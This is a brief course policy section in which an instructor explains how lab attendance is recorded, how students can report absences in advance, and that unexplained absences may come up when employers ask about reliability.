3.1 Lab AttendanceIndex

Lab Attendance is recorded but not mandatory. If you fail to show up for a lab, I will record you as “Absent” and I will then have to email you to ask you why you missed your lab and whether you are still in the course.

If you email me first, before your lab period, to tell me you won’t be there, I will record your reason and you won’t be listed as “Absent”. Let me know ahead of time when you need to miss a lab.

If an employer calls me up and asks me about your reliability, your unexplained absences will count against you.
